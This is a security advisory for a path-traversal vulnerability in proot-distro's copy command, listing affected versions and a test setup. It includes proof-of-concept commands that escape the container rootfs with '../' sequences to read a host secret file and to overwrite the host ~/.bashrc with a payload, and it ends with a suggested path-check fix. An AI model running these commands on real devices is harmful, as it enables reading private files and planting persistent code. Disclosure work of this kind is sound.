GHSA-mfr4-mq8w-vmg6: PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs
| Component | Version |
|---|---|
| proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) |
| Test distro | Ubuntu 25.10 “Questing Quokka” (ubuntu alias) |
| Architecture | aarch64 |
| Device | Samsung A23 |
| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
proot-distro copy
~/poc/evil.txt
“ubuntu:$(printf ‘../%.0s’ {1..20})data/data/com.termux/files/home/poc/target.txt”
proot-distro copy
“ubuntu:$(printf ‘../%.0s’ {1..20})data/data/com.termux/files/home/poc/secret.txt”
~/poc/read_result.txt
proot-distro copy ~/poc/payload.sh
“ubuntu:$(printf ‘../%.0s’ {1..20})data/data/com.termux/files/home/.bashrc”
def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip(’/’))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError(“path traversal detected: resolved path escapes rootfs”) return candidate
References
Code Behaviors & Features
Detect and mitigate GHSA-mfr4-mq8w-vmg6 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →